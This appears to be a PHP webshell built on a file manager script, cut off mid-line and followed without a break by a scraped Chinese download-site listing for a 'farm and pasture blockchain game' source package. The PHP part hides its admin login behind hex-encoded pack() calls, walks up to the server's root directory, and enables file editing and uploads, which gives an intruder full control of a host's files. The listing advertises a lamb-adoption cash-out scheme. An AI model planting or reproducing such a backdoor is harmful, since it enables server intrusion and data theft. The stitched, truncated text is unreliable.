<?php
$CONFIG = '{"lang":"ch","error_reporting":false,"show_hidden":false,"hide_Cols":false,"calc_folder":false}';
define('VERSION', '2.4.0');
define('APP_TITLE', '-');
$use_auth = true;
$auth_users=array(pack(chr(72).chr(42),"61646D696E")=>pack(chr(72).chr(42),"2432792431302456494437394D76382F6335776F776B6935726F69644F777169332F53384F6453386B775A2E784E6C656D4B753252504C55376C2E47"),);
$readonly_users = array(
'user'
);
$directories_users = array();
$use_highlightjs = true;
$highlightjs_style = 'vs';
$edit_files = true;
$default_timezone = 'Etc/UTC'; // UTC
$root_path = $_SERVER['DOCUMENT_ROOT'];
$root_url = '';
$http_host = $_SERVER['HTTP_HOST'];
$iconv_input_encoding = 'UTF-8';
$datetime_format = 'd.m.y H:i';
$allowed_file_extensions = '';
$allowed_upload_extensions = '';
$favicon_path = '?img=favicon';
$exclude_items = array();
$online_viewer = 'google';
$sticky_navbar = true;
define('MAX_UPLOAD_SIZE', '2048');
$ip_ruleset = 'OFF';
$ip_silent = true;
$ip_whitelist = array(
'127.0.0.1',
'::1'
);
$ip_blacklist = array(
'0.0.0.0',
'::'
);
if ( !defined( 'FM_SESSION_ID')) {
define('FM_SESSION_ID', 'filemanager');
}
$cfg = new FM_Config();
$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'ch';
$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;
$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;
$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;
$calc_folder = isset($cfg->data['calc_folder']) ? $cfg->data['calc_folder'] : true;
$lang_list = array(
'ch' => '中文'
);
if ($report_errors == true) {
@ini_set('error_reporting', E_ALL);
@ini_set('display_errors', 1);
} else {
@ini_set('error_reporting', E_ALL);
@ini_set('display_errors', 0);
}
if (defined('FM_EMBED')) {
$use_auth = false;
$sticky_navbar = false;
} else {
@set_time_limit(600);
date_default_timezone_set($default_timezone);
ini_set('default_charset', 'UTF-8');
if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) {
mb_internal_encoding('UTF-8');
}
if (function_exists('mb_regex_encoding')) {
mb_regex_encoding('UTF-8');
}
session_cache_limiter('');
session_name(FM_SESSION_ID );
@session_start();
}
if (empty($auth_users)) {
$use_auth = false;
}
$is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1)
|| isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';
if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) {
$wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
$root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']];
}
$root_url = fm_clean_path($root_url);
defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);
if (isset($_GET['logout'])) {
unset($_SESSION[FM_SESSION_ID]['logged']);
fm_redirect(FM_SELF_URL);
}
if (isset($_GET['img'])) {
fm_show_image($_GET['img']);
}
if($ip_ruleset != 'OFF'){
$clientIp = $_SERVER['REMOTE_ADDR'];
$proceed = false;
$whitelisted = in_array($clientIp, $ip_whitelist);
$blacklisted = in_array($clientIp, $ip_blacklist);
if($ip_ruleset == 'AND'){
if($whitelisted == true && $blacklisted == false){
$proceed = true;
}
} else
if($ip_ruleset == 'OR'){
if($whitelisted == true || $blacklisted == false){
$proceed = true;
}
}
if($proceed == false){
trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);
if($ip_silent == false){
fm_set_msg('Access denied. IP restriction applicable', 'error');
fm_show_header_login();
fm_show_message();
}
exit();
}
}
if ($use_auth) {
if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) {
} elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'])) {
sleep(1);
if(function_exists('password_verify')) {
if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']])) {
$_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr'];
fm_set_msg('You are logged in');
fm_redirect(FM_SELF_URL . '?p=');
} else {
unset($_SESSION[FM_SESSION_ID]['logged']);
fm_set_msg('创建失败', 'error');
fm_redirect(FM_SELF_URL);
}
} else {
fm_set_msg('password_hash not supported, Upgrade PHP version', 'error');;
}
} else {
unset($_SESSION[FM_SESSION_ID]['logged']);
fm_show_header_login();
?>
<section class="h-100">
<div class="container h-100">
<div class="row justify-content-md-center h-100">
<div class="card-wrapper">
<div class="card fat">
<div class="card-body">
<form class="form-signin" action="" method="post" autocomplete="off">
<hr />
<div class="form-group">
<label for="fm_usr"><?php echo lng('Username'); ?></label>
<input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
</div>
<div class="form-group">
<label for="fm_pwd"><?php echo lng('Password'); ?></label>
<input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
</div>
<div class="form-group">
<?php fm_show_message(); ?>
</div>
<div class="form-group">
<button type="submit" class="btn btn-success btn-block mt-4" role="button">
<?php echo lng('Login'); ?>
</button>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</section>
<?php
fm_show_footer_login();
exit;
}
}
if ($use_auth && isset($_SESSION[FM_SESSION_ID]['logged'])) {
$root_path = isset($directories_users[$_SESSION[FM_SESSION_ID]['logged']]) ? $directories_users[$_SESSION[FM_SESSION_ID]['logged']] : $root_path;
}
$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
echo "<h1>Root path \"{$root_path}\" not found!</h1>";
exit;
}
$n = 0;
do{
$n++;
$parent = dirname($root_path);
if (is_readable($parent)){
$go = true;
$root_path = $parent;
if ($parent == '/'){
break;
}
}else{
$go = false;
}
if ($n == 20){
break;
}
}while($go);
defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $a
没有合适的资源?快使用搜索试试~ 我知道了~
农场牧场区块游戏源码.zip
共2000个文件
php:874个
png:389个
html:293个
1.该资源内容由用户上传,如若侵权请联系客服进行举报
2.虚拟产品一经售出概不退款(资源遇到问题,请及时私信上传者)
2.虚拟产品一经售出概不退款(资源遇到问题,请及时私信上传者)
版权申诉
0 下载量 9 浏览量
2023-01-04
10:11:25
上传
评论
收藏 190.66MB ZIP 举报
温馨提示
农场牧场养殖区块链游戏源码,类似现在种植水果的,养大了送你一头羊。 您只需要出XX元即可在赚客牧场领养一只草原小羔羊,免费领饲料喂养,饲养期间,可受邀来草原探望你的小羊,3-12月可养成出栏,可包邮白条羊到家,可平台代售变现XX元到手。 空间要求:PHP+MYSQL 环境:Nginx1.15.1+PHP7.1+Mysql5.7 第一步:修改配置信息 修改指引: 1:修改数据库连接文件,在 .env 这个文件修改里面的数据库连接信息 2:修改数据库连接文件,在 config/database.php 这个文件修改里面的数据库连接信息 3:修改以上2个数据库文件之后把网站源码上传到空间里面 第二步:导入数据 第三步:设置ThinkPHP伪静态 Nginx伪静态设置 location / { if (!-e $request_filename){ rewrite ^(.*)$ /index.php?s=$1 last; break; } } 注意:设置运行目录public 第四步:测试
资源推荐
资源详情
资源评论
收起资源包目录
农场牧场区块游戏源码.zip (2000个子文件)
index.html._╕╖▌ 6KB
test.bmp 0B
composer 284B
layui.css 60KB
layui.css 59KB
layui.css 59KB
meCen.css 38KB
meCen.css 38KB
meCen.css 38KB
zhangmall.css 34KB
sheep.css 34KB
yangStyle.css 29KB
yangStyle.css 29KB
fanStyle.css 28KB
fanStyle.css 28KB
zhangmall.css 27KB
zhangmall.css 27KB
yangStyle.css 27KB
fanStyle.css 26KB
mine.css 24KB
intlTelInput.css 21KB
swiper.min.css 17KB
swiper.min.css 17KB
swiper.min.css 17KB
swiper.min.css 17KB
swiper.min.css 17KB
swiper.min.css 17KB
wenStyle.css 17KB
wenStyle.css 15KB
shop.css 15KB
shop.css 15KB
wenStyle.css 15KB
shop.css 15KB
layer.css 14KB
layer.css 14KB
layer.css 14KB
layer.css 14KB
layer.css 14KB
layer.css 14KB
layer.css 14KB
market.css 11KB
onlyzhang2.css 11KB
hanstyle.css 10KB
main.css 10KB
layui.mobile.css 10KB
layui.mobile.css 10KB
layui.mobile.css 10KB
wallet.css 8KB
onlyzhang.css 8KB
xadmin.css 8KB
holder.css 8KB
laydate.css 7KB
laydate.css 7KB
laydate.css 7KB
reset.css 7KB
reset.css 7KB
reset.css 7KB
reset.css 7KB
treestyle.css 7KB
classgoods.css 7KB
workstyle.css 6KB
workstyle.css 6KB
login.css 6KB
workstyle.css 6KB
option.css 6KB
shangpre.css 5KB
global.css 5KB
global.css 4KB
global.css 4KB
global.css 4KB
login.css 4KB
ion.rangeSlider.css 4KB
ion.rangeSlider.css 4KB
ion.rangeSlider.css 4KB
uploads.css 3KB
uploads.css 3KB
uploads.css 3KB
uploads.css 3KB
seller.css 3KB
seller.css 3KB
seller.css 3KB
style.css 3KB
style.css 3KB
style.css 3KB
style.css 3KB
ion.rangeSlider.skinHTML5.css 3KB
ion.rangeSlider.skinHTML5.css 3KB
ion.rangeSlider.skinHTML5.css 3KB
goods_order.css 1KB
dropload.css 1KB
dropload.css 1KB
dropload.css 1KB
demo.css 1KB
code.css 1KB
code.css 1KB
code.css 1KB
user.css 972B
images.css 755B
message.css 619B
footer.css 584B
共 2000 条
- 1
- 2
- 3
- 4
- 5
- 6
- 20
资源评论
智慧浩海
- 粉丝: 1w+
- 资源: 5445
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
最新资源
- Delphi 12 控件之Unit-EchartsMapNew.pas
- delphi 12 控件之Dart-Products-Incl-Keygen-Patch-v1.0.0.6-By-DFoX.rar
- 开发工具+JDK+corretto-1.8.0-422.zip
- 晶体管的分类,由浅入深
- JAVAssm+bootstrap的零食商城源码数据库 MySQL源码类型 WebForm
- 前端vue+前端koa,全栈式开发bilibili首页.zip
- PHP在线文档管理系统源码数据库 MySQL源码类型 WebForm
- BAY06_0072_20241129_024710_114.cfg
- 基于Javaweb的用户笔记管理系统
- 基于SpringBoot+Vue的超市管理系统
资源上传下载、课程学习等过程中有任何疑问或建议,欢迎提出宝贵意见哦~我们会及时处理!
点击此处反馈
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功